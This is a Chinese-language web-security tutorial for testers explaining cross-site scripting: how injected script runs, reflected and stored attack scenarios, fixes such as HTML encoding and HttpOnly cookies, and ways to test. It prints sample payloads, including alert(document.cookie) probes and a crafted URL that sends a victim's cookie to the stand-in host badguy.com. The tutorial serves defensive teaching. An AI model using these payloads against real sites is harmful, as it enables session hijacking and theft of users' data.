频道栏目
首页 > 程序开发 > Web开发 > PHP教程 > PHP框架专栏 > cakephp > 正文
Web安全测试之XSS(Cross Site Scripting) 跨站脚本攻击
2016-01-07 14:29:58           
收藏   我要投稿

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。

XSS 是如何发生的呢

假如有下面一个textbox

value1from是来自用户的输入,如果用户不是输入value1from,而是输入"/><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

嵌入的JavaScript代码将会被执行

或者用户输入的是"onfocus="alert(document.cookie) 那么就会变成

事件被触发的时候嵌入的JavaScript代码将会被执行

攻击的威力,取决于用户输入了什么样的脚本。

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图:

\

 

HTML Encode

XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

\

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string ") 就可以了。 (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

\

 

XSS 攻击场景

1. Dom-Based XSS 漏洞 攻击过程如下

Tom 发现了Victim.com中的一个页面有XSS漏洞,

例如: http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下

复制代码


         Results for <%Reequest.QueryString("term")%>     ...   

复制代码

Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下

Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复

原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。

    如何测试XSS漏洞

    方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量

    <%
    strUserCode =  Request.QueryString(“code”);
    strUser =  Request.Form(“USER”);
    strID =    Request.Cookies(“ID”);
    %>

    假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

    方法二: 准备测试脚本,

    "/><script>alert(document.cookie)</script>
点击复制链接 与好友分享!回本站首页
相关TAG标签 脚本
上一篇:Web攻防系列教程之跨站脚本攻击和防范技巧详解
下一篇:从新浪微博被攻击事件看SNS网站的安全问题
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站